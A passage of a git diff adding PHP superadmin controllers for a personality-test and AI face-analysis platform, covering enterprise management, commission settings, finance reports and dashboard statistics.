'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + $toSave['minWithdraw'] = $toSave['minWithdrawFen'] / 100; + $toSave['maxWithdraw'] = $toSave['maxWithdrawFen'] > 0 ? $toSave['maxWithdrawFen'] / 100 : 0; + $toSave['testSettings'] = self::appendTestSettingsAmount($toSave['testSettings']); + return success($toSave, '配置已保存'); + } catch (\Exception $e) { + return error('保存配置失败:' . $e->getMessage(), 500); + } + } + + private static function defaultTestSettings(): array + { + $item = ['enabled' => true, 'commissionType' => 'ratio', 'commissionRate' => 90, 'commissionAmountFen' => 0, 'noPayment' => false]; + return ['face' => $item, 'mbti' => $item, 'disc' => $item, 'pdp' => $item]; + } + + private static function sanitizeTestSettings($raw): array + { + $default = self::defaultTestSettings(); + if (!is_array($raw)) return $default; + $result = []; + foreach ($default as $type => $def) { + $s = $raw[$type] ?? []; + $commissionType = in_array($s['commissionType'] ?? '', ['ratio', 'amount']) ? $s['commissionType'] : 'ratio'; + $amountFen = isset($s['commissionAmount']) + ? (int) round((float)$s['commissionAmount'] * 100) + : (int)($s['commissionAmountFen'] ?? 0); + $rate = max(0, min(100, (int)($s['commissionRate'] ?? 90))); + $result[$type] = [ + 'enabled' => ($s['enabled'] ?? true) !== false, + 'commissionType' => $commissionType, + 'commissionRate' => $commissionType === 'ratio' ? $rate : 0, + 'commissionAmountFen'=> $commissionType === 'amount' ? max(0, $amountFen) : 0, + 'noPayment' => !empty($s['noPayment']), + ]; + } + return $result; + } + + private static function appendTestSettingsAmount(array $ts): array + { + foreach ($ts as $k => $v) { + $ts[$k]['commissionAmount'] = round(($v['commissionAmountFen'] ?? 0) / 100, 2); + } + return $ts; + } +} diff --git a/api/app/controller/superadmin/Enterprise.php b/api/app/controller/superadmin/Enterprise.php new file mode 100644 index 0000000..0b60942 --- /dev/null +++ b/api/app/controller/superadmin/Enterprise.php @@ -0,0 +1,437 @@ +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + $keyword = Request::param('keyword', ''); + $status = Request::param('status', ''); + + $where = []; + + // 搜索条件 + if ($keyword) { + $where[] = ['name|contactName|contactPhone|code', 'like', '%' . $keyword . '%']; + } + + // 状态筛选 + if ($status !== '') { + $where['status'] = $status; + } + + // 查询企业列表 + $list = EnterpriseModel::where($where) + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 统计每个企业的用户数和测试用量 + foreach ($list as &$item) { + // 统计用户数(只统计未删除的用户) + $item['userCount'] = Db::name('users') + ->where('enterpriseId', $item['id']) + ->where('deletedAt', null) + ->count(); + + // 统计测试用量(测试结果数)- 通过企业下的用户ID统计(只统计未删除的用户) + $userIds = Db::name('users') + ->where('enterpriseId', $item['id']) + ->where('deletedAt', null) + ->column('id'); + + if (!empty($userIds)) { + $item['testUsage'] = Db::name('test_results') + ->where('userId', 'in', $userIds) + ->count(); + } else { + $item['testUsage'] = 0; + } + } + + $total = EnterpriseModel::where($where)->count(); + + // 统计活跃企业数(status为operating) + $activeCount = EnterpriseModel::where('status', 'operating')->count(); + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'activeCount' => $activeCount + ]); + } + + /** + * 获取企业详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id = null) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // 如果路由参数没有传递,尝试从请求参数获取 + if (empty($id)) { + $id = Request::param('id'); + } + + if (empty($id)) { + return error('企业ID不能为空', 400); + } + + $enterprise = EnterpriseModel::find($id); + + if (!$enterprise) { + return error('企业不存在', 404); + } + + $data = $enterprise->toArray(); + + // 获取企业下的所有用户ID(只统计未删除的用户) + $userIds = Db::name('users') + ->where('enterpriseId', $id) + ->where('deletedAt', null) + ->column('id'); + + // 统计用户数 + $data['userCount'] = count($userIds); + + // 获取管理员账号列表(企业管理员角色,只获取未删除的) + $adminAccounts = Db::name('users') + ->where('enterpriseId', $id) + ->where('role', 'enterprise_admin') + ->where('deletedAt', null) + ->field('id,username,email,phone,role,status,createdAt,lastLoginTime') + ->select() + ->toArray(); + $data['adminAccounts'] = $adminAccounts; + + // 获取用户列表(排除管理员,只获取未删除的) + $users = Db::name('users') + ->where('enterpriseId', $id) + ->where('role', '<>', 'enterprise_admin') + ->where('deletedAt', null) + ->field('id,username,email,phone,mbtiType,status,createdAt') + ->limit(50) // 限制返回数量 + ->select() + ->toArray(); + $data['users'] = $users; + + // 获取测试结果列表 + $testResults = []; + if (!empty($userIds)) { + $testResults = Db::name('test_results') + ->alias('tr') + ->leftJoin('users u', 'tr.userId = u.id') + ->where('tr.userId', 'in', $userIds) + ->field('tr.id,tr.testType,tr.createdAt,u.username') + ->order('tr.createdAt', 'desc') + ->limit(50) // 限制返回数量 + ->select() + ->toArray(); + } + $data['testResults'] = $testResults; + + // 统计测试用量 + if (!empty($userIds)) { + $data['testUsage'] = Db::name('test_results') + ->where('userId', 'in', $userIds) + ->count(); + } else { + $data['testUsage'] = 0; + } + + return success($data); + } + + /** + * 创建企业 + * @return \think\response\Json + */ + public function create() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $data = Request::post(); + + // 验证必填字段 + if (empty($data['name'])) { + return error('企业名称不能为空', 400); + } + + // 验证管理员账号信息 + if (empty($data['adminUsername'])) { + return error('管理员用户名不能为空', 400); + } + + if (empty($data['adminPassword'])) { + return error('管理员密码不能为空', 400); + } + + if (strlen($data['adminPassword']) < 6) { + return error('密码长度至少6位', 400); + } + + // 检查企业代码是否重复(如果提供了代码) + if (!empty($data['code'])) { + if (EnterpriseModel::where('code', $data['code'])->find()) { + return error('企业代码已存在', 400); + } + } + + // 检查管理员用户名是否已存在 + if (Db::name('users')->where('username', $data['adminUsername'])->find()) { + return error('管理员用户名已存在', 400); + } + + // 状态映射(前端使用operating/trial/disabled) + $status = $data['status'] ?? 'operating'; + if (!in_array($status, ['operating', 'trial', 'disabled'])) { + $status = 'operating'; + } + + // 验证试用到期时间 + if ($status === 'trial') { + if (empty($data['trialExpireAt'])) { + return error('选择试用状态时,必须设置试用到期时间', 400); + } + // 确保到期时间大于当前时间 + if ($data['trialExpireAt'] <= time()) { + return error('试用到期时间必须大于当前时间', 400); + } + } + + // 开启事务 + Db::startTrans(); + try { + // 创建企业 + $enterprise = new EnterpriseModel(); + $enterprise->name = $data['name']; + $enterprise->code = $data['code'] ?? null; + $enterprise->contactName = $data['contactName'] ?? null; + $enterprise->contactPhone = $data['contactPhone'] ?? null; + $enterprise->contactEmail = $data['contactEmail'] ?? null; + $enterprise->balance = $data['balance'] ?? 0.00; + $enterprise->status = $status; + $enterprise->trialExpireAt = ($status === 'trial' && isset($data['trialExpireAt'])) ? $data['trialExpireAt'] : null; + $enterprise->save(); + + $enterpriseId = $enterprise->id; + + // 创建企业管理员账号 + $adminUser = [ + 'username' => $data['adminUsername'], + 'password' => password_hash($data['adminPassword'], PASSWORD_DEFAULT), + 'email' => $data['contactEmail'] ?? null, + 'phone' => $data['contactPhone'] ?? null, + 'role' => 'enterprise_admin', + 'enterpriseId' => $enterpriseId, + 'status' => 1, + 'createdAt' => time(), + 'updatedAt' => time() + ]; + + Db::name('users')->insert($adminUser); + + // 提交事务 + Db::commit(); + + $enterpriseData = $enterprise->toArray(); + $enterpriseData['userCount'] = 1; // 刚创建的企业管理员 + $enterpriseData['testUsage'] = 0; + + return success($enterpriseData, '企业创建成功,管理员账号已创建'); + } catch (\Exception $e) { + // 回滚事务 + Db::rollback(); + return error('创建失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新企业 + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $enterprise = EnterpriseModel::find($id); + + if (!$enterprise) { + return error('企业不存在', 404); + } + + $data = Request::put(); + $oldBalance = (float) ($enterprise->balance ?? 0); + + // 如果更新企业代码,检查是否重复 + if (isset($data['code']) && $data['code'] != $enterprise->code) { + if (EnterpriseModel::where('code', $data['code'])->find()) { + return error('企业代码已存在', 400); + } + } + + // 状态验证 + if (isset($data['status']) && !in_array($data['status'], ['operating', 'trial', 'disabled'])) { + return error('状态值无效', 400); + } + + // 验证试用到期时间 + $status = $data['status'] ?? $enterprise->status; + if ($status === 'trial') { + if (empty($data['trialExpireAt'])) { + return error('选择试用状态时,必须设置试用到期时间', 400); + } + // 确保到期时间大于当前时间 + if ($data['trialExpireAt'] <= time()) { + return error('试用到期时间必须大于当前时间', 400); + } + $enterprise->trialExpireAt = $data['trialExpireAt']; + } else { + // 如果不是试用状态,清空到期时间 + $enterprise->trialExpireAt = null; + } + + $enterprise->save($data); + + $newBalance = (float) ($enterprise->balance ?? 0); + if ($newBalance > $oldBalance) { + try { + \app\controller\api\Distribution::unfreezeCommissions((int) $id); + } catch (\Throwable $e) { + // 余额已更新成功,解冻失败不阻断主流程 + } + } + + $enterpriseData = $enterprise->toArray(); + + // 统计用户数和测试用量(只统计未删除的用户) + $enterpriseData['userCount'] = Db::name('users') + ->where('enterpriseId', $id) + ->where('deletedAt', null) + ->count(); + + $userIds = Db::name('users') + ->where('enterpriseId', $id) + ->where('deletedAt', null) + ->column('id'); + + if (!empty($userIds)) { + $enterpriseData['testUsage'] = Db::name('test_results') + ->where('userId', 'in', $userIds) + ->count(); + } else { + $enterpriseData['testUsage'] = 0; + } + + return success($enterpriseData, '更新成功'); + } + + /** + * 删除企业(软删除) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $enterprise = EnterpriseModel::find($id); + + if (!$enterprise) { + return error('企业不存在', 404); + } + + // 检查是否已删除 + if ($enterprise->deletedAt) { + return error('企业已被删除', 400); + } + + // 检查是否有用户关联(只检查未删除的用户) + $userCount = Db::name('users') + ->where('enterpriseId', $id) + ->where('deletedAt', null) + ->count(); + if ($userCount > 0) { + return error('该企业下还有用户,无法删除', 400); + } + + // 软删除(设置 deletedAt 时间戳) + $enterprise->delete(); + + return success(null, '删除成功'); + } + + /** + * 启用/禁用企业 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $enterprise = EnterpriseModel::find($id); + + if (!$enterprise) { + return error('企业不存在', 404); + } + + // 切换状态:operating <-> disabled + if ($enterprise->status === 'operating') { + $enterprise->status = 'disabled'; + } else { + $enterprise->status = 'operating'; + } + + $enterprise->save(); + + return success($enterprise, '操作成功'); + } +} + diff --git a/api/app/controller/superadmin/Finance.php b/api/app/controller/superadmin/Finance.php new file mode 100644 index 0000000..151ed69 --- /dev/null +++ b/api/app/controller/superadmin/Finance.php @@ -0,0 +1,337 @@ +request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $currentMonthStart = mktime(0, 0, 0, (int) date('n'), 1, (int) date('Y')); + $currentMonthEnd = mktime(23, 59, 59, (int) date('n'), (int) date('t'), (int) date('Y')); + + $basePaid = Db::name('orders')->whereIn('status', self::PAID_STATUS); + $totalRevenue = (int) ((clone $basePaid)->sum('amount') ?? 0); + $paidOrderCount = (int) ((clone $basePaid)->count()); + + $monthRevenue = (int) (Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->where('payTime', '>=', $currentMonthStart) + ->where('payTime', '<=', $currentMonthEnd) + ->sum('amount') ?? 0); + + // 成本:无成本表时按收入比例估算(约 30%) + $totalCost = (int) round($totalRevenue * 0.3); + $monthCost = (int) round($monthRevenue * 0.3); + + $netProfit = $totalRevenue - $totalCost; + $monthProfit = $monthRevenue - $monthCost; + $profitRate = $totalRevenue > 0 ? round(($netProfit / $totalRevenue) * 100, 1) : 0; + + $lastMonthStart = mktime(0, 0, 0, (int) date('n') - 1, 1, (int) date('Y')); + $lastMonthEnd = mktime(23, 59, 59, (int) date('n') - 1, (int) date('t', $lastMonthStart), (int) date('Y')); + $lastMonthRevenue = (int) (Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->where('payTime', '>=', $lastMonthStart) + ->where('payTime', '<=', $lastMonthEnd) + ->sum('amount') ?? 0); + $lastMonthCost = (int) round($lastMonthRevenue * 0.3); + $lastMonthProfit = $lastMonthRevenue - $lastMonthCost; + $monthGrowth = $lastMonthProfit > 0 + ? round(($monthProfit - $lastMonthProfit) / $lastMonthProfit * 100, 1) + : ($monthProfit > 0 ? 100 : 0); + + return success([ + 'totalRevenue' => $totalRevenue, + 'totalCost' => $totalCost, + 'netProfit' => $netProfit, + 'profitRate' => $profitRate, + 'monthRevenue' => $monthRevenue, + 'monthCost' => $monthCost, + 'monthProfit' => $monthProfit, + 'monthGrowth' => $monthGrowth, + 'paidOrderCount' => $paidOrderCount, + ]); + } catch (\Throwable $e) { + return error('获取财务概览失败:' . $e->getMessage(), 500); + } + } + + /** + * 收入明细:按产品类型汇总(已支付订单),金额单位:分 + */ + public function revenueDetails() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $rows = Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->field('productType, SUM(amount) as total') + ->group('productType') + ->select() + ->toArray(); + + $typeLabel = [ + 'face' => 'AI人脸分析', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + 'resume' => '简历综合分析', + 'report' => '完整报告', + ]; + $totalSum = 0; + $byType = []; + foreach ($rows as $r) { + $type = $r['productType'] ?? 'other'; + $amount = (int) ($r['total'] ?? 0); + $totalSum += $amount; + $byType[$type] = $amount; + } + + $details = []; + foreach ($typeLabel as $key => $label) { + $amount = $byType[$key] ?? 0; + $details[] = [ + 'type' => $label, + 'amount' => $amount, + 'percent' => $totalSum > 0 ? round($amount / $totalSum * 100, 1) : 0, + ]; + } + $otherAmount = 0; + foreach ($byType as $key => $amount) { + if (!isset($typeLabel[$key])) { + $otherAmount += $amount; + } + } + if ($otherAmount > 0) { + $details[] = [ + 'type' => '其他', + 'amount' => $otherAmount, + 'percent' => $totalSum > 0 ? round($otherAmount / $totalSum * 100, 1) : 0, + ]; + } + + return success($details); + } catch (\Throwable $e) { + return error('获取收入明细失败:' . $e->getMessage(), 500); + } + } + + /** + * 成本明细:当前为估算(基于收入的 30% 拆分),金额单位:分 + */ + public function costDetails() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $totalRevenue = (int) Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->sum('amount'); + $totalCost = (int) round($totalRevenue * 0.3); + + $items = [ + ['type' => 'AI 调用(人脸/分析等)', 'ratio' => 0.15], + ['type' => '服务器及运维', 'ratio' => 0.08], + ['type' => '其他支出', 'ratio' => 0.07], + ]; + $details = []; + foreach ($items as $item) { + $amount = (int) round($totalRevenue * $item['ratio']); + $details[] = [ + 'type' => $item['type'], + 'amount' => $amount, + 'percent' => $totalCost > 0 ? round($amount / $totalCost * 100, 1) : 0, + ]; + } + + return success($details); + } catch (\Throwable $e) { + return error('获取成本明细失败:' . $e->getMessage(), 500); + } + } + + /** + * 企业支付记录(已支付且 enterpriseId 不为空的订单),金额单位:分 + */ + public function rechargeRecords() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); + + $query = Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->whereNotNull('enterpriseId') + ->where('enterpriseId', '<>', '') + ->order('payTime', 'desc'); + $total = (int) (clone $query)->count(); + $list = (clone $query)->page($page, $pageSize) + ->field('id, orderNo, enterpriseId, amount, payMethod, payTime') + ->select() + ->toArray(); + + $eids = array_values(array_unique(array_filter(array_column($list, 'enterpriseId')))); + $enterprises = []; + if (!empty($eids)) { + $entList = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); + $enterprises = $entList ?: []; + } + + $result = []; + foreach ($list as $r) { + $eid = $r['enterpriseId'] ?? null; + $result[] = [ + 'orderNo' => $r['orderNo'] ?? '', + 'enterprise' => $eid ? ($enterprises[$eid] ?? '企业#' . $eid) : '—', + 'amount' => (int) ($r['amount'] ?? 0), + 'method' => $r['payMethod'] === 'wechat' ? '微信支付' : ($r['payMethod'] ?? '—'), + 'date' => !empty($r['payTime']) ? date('Y-m-d H:i', $r['payTime']) : '—', + ]; + } + + return success([ + 'list' => $result, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } catch (\Throwable $e) { + return error('获取企业支付记录失败:' . $e->getMessage(), 500); + } + } + + /** + * 支付记录(全部已支付订单,分页),金额单位:分 + */ + public function paymentRecords() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); + $keyword = trim(Request::param('keyword', '')); + + $query = Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->order('payTime', 'desc'); + + if ($keyword !== '') { + $query->where(function ($q) use ($keyword) { + $q->whereLike('orderNo', '%' . $keyword . '%'); + if (is_numeric($keyword)) { + $q->whereOr('userId', (int) $keyword); + } + }); + } + + $total = (int) (clone $query)->count(); + $list = (clone $query)->page($page, $pageSize) + ->field('id, orderNo, userId, enterpriseId, productType, productTitle, amount, payMethod, payTime') + ->select() + ->toArray(); + + $userIds = array_values(array_unique(array_filter(array_column($list, 'userId')))); + $eids = array_values(array_unique(array_filter(array_column($list, 'enterpriseId')))); + $usersMap = []; + $entMap = []; + if (!empty($userIds)) { + $users = Db::name('wechat_users')->where('id', 'in', $userIds)->field('id, nickname, phone')->select()->toArray(); + foreach ($users as $u) { + $usersMap[(int) $u['id']] = $u; + } + } + if (!empty($eids)) { + $entList = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); + $entMap = $entList ?: []; + } + + $productTypeLabel = [ + 'face' => 'AI人脸分析', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + 'report' => '完整报告', + 'deep_personal' => '个人深度服务', + 'deep_team' => '团队深度服务', + ]; + + $result = []; + foreach ($list as $r) { + $uid = (int) ($r['userId'] ?? 0); + $eid = isset($r['enterpriseId']) && $r['enterpriseId'] !== '' ? (int) $r['enterpriseId'] : null; + if ($eid === 0) { + $eid = null; + } + $u = $usersMap[$uid] ?? null; + $enterpriseName = $eid ? ($entMap[$eid] ?? '企业#' . $eid) : '个人'; + $result[] = [ + 'orderNo' => $r['orderNo'] ?? '', + 'userName' => $u ? ($u['nickname'] ?? ('用户' . $uid)) : ('用户' . $uid), + 'enterprise' => $enterpriseName, + 'enterpriseId' => $eid, + 'productType' => $productTypeLabel[$r['productType'] ?? ''] ?? ($r['productType'] ?? '—'), + 'productTitle' => $r['productTitle'] ?? '', + 'amount' => (int) ($r['amount'] ?? 0), + 'method' => $r['payMethod'] === 'wechat' ? '微信支付' : ($r['payMethod'] ?? '—'), + 'date' => !empty($r['payTime']) ? date('Y-m-d H:i', $r['payTime']) : '—', + ]; + } + + return success([ + 'list' => $result, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } catch (\Throwable $e) { + return error('获取支付记录失败:' . $e->getMessage(), 500); + } + } + + /** + * 导出财务报表 + */ + public function export() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + return success(null, '财务报表导出功能开发中'); + } +} diff --git a/api/app/controller/superadmin/Overview.php b/api/app/controller/superadmin/Overview.php new file mode 100644 index 0000000..e25abcb --- /dev/null +++ b/api/app/controller/superadmin/Overview.php @@ -0,0 +1,431 @@ +request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $currentMonthStart = mktime(0, 0, 0, (int) date('n'), 1, (int) date('Y')); + $currentMonthEnd = mktime(23, 59, 59, (int) date('n'), (int) date('t'), (int) date('Y')); + + // 企业统计 + $totalEnterprises = (int) Db::name('enterprises')->count(); + $newEnterprises = (int) Db::name('enterprises') + ->where('createdAt', '>=', $currentMonthStart) + ->where('createdAt', '<=', $currentMonthEnd) + ->count(); + + // 注册用户数(wechat_users 按 openid 去重,无 openid 则按行数) + try { + $totalRegisteredUsers = (int) Db::name('wechat_users')->count('openid', true); + } catch (\Throwable $e) { + $totalRegisteredUsers = (int) Db::name('wechat_users')->count(); + } + + // 有测试记录的用户数(按 wechat_users.openid 去重);本月新增 = 本月首次测试的 openid 数 + $totalUsers = 0; + $newUsers = 0; + try { + $totalUsers = (int) Db::name('test_results')->distinct(true)->count('userId'); + $newUsers = (int) Db::name('test_results') + ->where('createdAt', '>=', $currentMonthStart) + ->where('createdAt', '<=', $currentMonthEnd) + ->distinct(true) + ->count('userId'); + // 按 openid 去重:tr 关联 wechat_users,统计 distinct openid + $hasOpenid = false; + try { + $openids = Db::name('test_results')->alias('tr') + ->join('wechat_users w', 'tr.userId = w.id') + ->distinct(true) + ->column('w.openid'); + if (is_array($openids)) { + $openids = array_filter(array_unique($openids)); + $totalUsers = count($openids); + $hasOpenid = true; + } + } catch (\Throwable $e) { + } + if ($hasOpenid) { + $openidsBeforeMonth = Db::name('test_results')->alias('tr') + ->join('wechat_users w', 'tr.userId = w.id') + ->where('tr.createdAt', '<', $currentMonthStart) + ->distinct(true) + ->column('w.openid'); + $openidsBeforeMonth = is_array($openidsBeforeMonth) ? array_filter(array_unique($openidsBeforeMonth)) : []; + $openidsInMonth = Db::name('test_results')->alias('tr') + ->join('wechat_users w', 'tr.userId = w.id') + ->where('tr.createdAt', '>=', $currentMonthStart) + ->where('tr.createdAt', '<=', $currentMonthEnd) + ->distinct(true) + ->column('w.openid'); + $openidsInMonth = is_array($openidsInMonth) ? array_filter(array_unique($openidsInMonth)) : []; + $newUsers = count(array_diff($openidsInMonth, $openidsBeforeMonth)); + } + } catch (\Throwable $e) { + $newUsers = 0; + } + + // 收入与订单(仅 orders,金额分) + $totalRevenue = (int) (Db::name('orders')->whereIn('status', self::PAID_STATUS)->sum('amount') ?? 0); + $monthRevenue = (int) (Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->where('payTime', '>=', $currentMonthStart) + ->where('payTime', '<=', $currentMonthEnd) + ->sum('amount') ?? 0); + $paidOrderCount = (int) Db::name('orders')->whereIn('status', self::PAID_STATUS)->count(); + + $lastMonthStart = mktime(0, 0, 0, (int) date('n') - 1, 1, (int) date('Y')); + $lastMonthEnd = mktime(23, 59, 59, (int) date('n') - 1, (int) date('t', $lastMonthStart), (int) date('Y')); + $lastMonthRevenue = (int) (Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->where('payTime', '>=', $lastMonthStart) + ->where('payTime', '<=', $lastMonthEnd) + ->sum('amount') ?? 0); + $revenueGrowth = $lastMonthRevenue > 0 + ? round(($monthRevenue - $lastMonthRevenue) / $lastMonthRevenue * 100, 1) + : ($monthRevenue > 0 ? 100.0 : 0); + + // 测试统计 + $totalTests = 0; + $newTests = 0; + try { + $totalTests = (int) Db::name('test_results')->count(); + $newTests = (int) Db::name('test_results') + ->where('createdAt', '>=', $currentMonthStart) + ->where('createdAt', '<=', $currentMonthEnd) + ->count(); + } catch (\Throwable $e) { + } + + return success([ + 'totalEnterprises' => $totalEnterprises, + 'newEnterprises' => $newEnterprises, + 'totalRegisteredUsers' => $totalRegisteredUsers, + 'totalUsers' => $totalUsers, + 'newUsers' => $newUsers, + 'totalRevenue' => $totalRevenue, + 'monthRevenue' => $monthRevenue, + 'revenueGrowth' => $revenueGrowth, + 'paidOrderCount' => $paidOrderCount, + 'totalTests' => $totalTests, + 'newTests' => $newTests, + ]); + } catch (\Throwable $e) { + return error('获取数据概览失败:' . $e->getMessage(), 500); + } + } + + /** + * 最近动态:支付订单、新企业、今日测试等;金额接口为分,文案中转为元 + */ + public function recentDynamics() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $limit = min(20, max(5, (int) Request::param('limit', 10))); + $dynamics = []; + + // 1. 最近已支付订单(含个人与企业,金额分) + try { + $orders = Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->field('id, orderNo, userId, enterpriseId, productType, amount, payTime') + ->order('payTime', 'desc') + ->limit($limit) + ->select() + ->toArray(); + $orders = is_array($orders) ? $orders : []; + + $eids = array_values(array_unique(array_filter(array_column($orders, 'enterpriseId')))); + $uids = array_values(array_unique(array_filter(array_column($orders, 'userId')))); + $entMap = []; + $userMap = []; + if (!empty($eids)) { + $entMap = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id') ?: []; + } + if (!empty($uids)) { + $users = Db::name('wechat_users')->where('id', 'in', $uids)->field('id, nickname')->select()->toArray(); + foreach (is_array($users) ? $users : [] as $u) { + $userMap[(int) ($u['id'] ?? 0)] = $u['nickname'] ?? ('用户' . ($u['id'] ?? '')); + } + } + + $productLabel = ['face' => 'AI人脸', 'mbti' => 'MBTI', 'disc' => 'DISC', 'pdp' => 'PDP', 'report' => '报告']; + foreach ($orders as $o) { + $amountYuan = isset($o['amount']) ? round((int) $o['amount'] / 100, 2) : 0; + $who = '未知'; + if (!empty($o['enterpriseId']) && isset($entMap[$o['enterpriseId']])) { + $who = $entMap[$o['enterpriseId']]; + } else { + $who = $userMap[(int) ($o['userId'] ?? 0)] ?? ('用户' . ($o['userId'] ?? '')); + } + $product = $productLabel[$o['productType'] ?? ''] ?? ($o['productType'] ?? ''); + $dynamics[] = [ + 'type' => 'payment', + 'icon' => 'TrendCharts', + 'text' => $who . ' 支付 ¥' . number_format($amountYuan, 2) . ($product ? '(' . $product . ')' : ''), + 'time' => $this->formatTime($o['payTime'] ?? null), + 'sortTime' => (int) ($o['payTime'] ?? 0), + ]; + } + } catch (\Throwable $e) { + // 订单数据异常不影响其他动态 + } + + // 2. 最近入驻企业 + try { + $enterprises = Db::name('enterprises') + ->field('name, createdAt') + ->order('createdAt', 'desc') + ->limit(5) + ->select() + ->toArray(); + foreach (is_array($enterprises) ? $enterprises : [] as $e) { + $dynamics[] = [ + 'type' => 'enterprise', + 'icon' => 'Document', + 'text' => ($e['name'] ?? '') . ' 完成企业入驻', + 'time' => $this->formatTime($e['createdAt'] ?? null), + 'sortTime' => (int) ($e['createdAt'] ?? 0), + ]; + } + } catch (\Throwable $e) { + } + + // 3. 今日测试量(按企业/个人分组,文案里带企业名称) + try { + $todayStart = mktime(0, 0, 0, (int) date('n'), (int) date('j'), (int) date('Y')); + $rows = Db::name('test_results') + ->alias('tr') + ->leftJoin('enterprises e', 'tr.enterpriseId = e.id') + ->where('tr.createdAt', '>=', $todayStart) + ->field('tr.enterpriseId, e.name as enterpriseName, COUNT(*) as cnt') + ->group('tr.enterpriseId') + ->order('cnt', 'desc') + ->limit(5) + ->select() + ->toArray(); + + $totalToday = 0; + foreach (is_array($rows) ? $rows : [] as $row) { + $cnt = (int) ($row['cnt'] ?? 0); + if ($cnt <= 0) { + continue; + } + $totalToday += $cnt; + $eid = $row['enterpriseId'] ?? null; + $name = $row['enterpriseName'] ?? ''; + if ($eid && !$name) { + $name = '企业' . $eid; + } + if (!$eid) { + $name = $name ?: '个人用户(无企业)'; + } + $dynamics[] = [ + 'type' => 'test', + 'icon' => 'TrendCharts', + 'text' => $name . ' 今日完成 ' . $cnt . ' 次测试', + 'time' => '今日', + 'sortTime' => $todayStart + 1, + ]; + } + + // 追加一条全局汇总(放在企业之后) + if ($totalToday > 0) { + $dynamics[] = [ + 'type' => 'test-total', + 'icon' => 'TrendCharts', + 'text' => '全站今日共完成 ' . $totalToday . ' 次测试', + 'time' => '今日', + 'sortTime' => $todayStart, + ]; + } + } catch (\Throwable $e) { + } + + usort($dynamics, function ($a, $b) { + return ($b['sortTime'] ?? 0) - ($a['sortTime'] ?? 0); + }); + $dynamics = array_slice($dynamics, 0, $limit); + + return success($dynamics); + } catch (\Throwable $e) { + return error('获取最近动态失败:' . $e->getMessage(), 500); + } + } + + /** + * 最近 N 天测试趋势(按日期 & 测试类型统计) + * GET /superadmin/overview/test-trends?days=14 + */ + public function testTrends() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $days = (int) Request::param('days', 14); + $days = min(60, max(7, $days)); + + $startDate = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); + + $rows = Db::name('test_results') + ->where('createdAt', '>=', $startDate) + ->whereIn('testType', ['face', 'mbti', 'disc', 'pdp']) + ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, testType, COUNT(*) as c") + ->group('d,testType') + ->order('d', 'asc') + ->select() + ->toArray(); + + $trendMap = []; + foreach (is_array($rows) ? $rows : [] as $row) { + $d = $row['d']; + $type = $row['testType']; + $cnt = (int) ($row['c'] ?? 0); + if (!isset($trendMap[$d])) { + $trendMap[$d] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + if 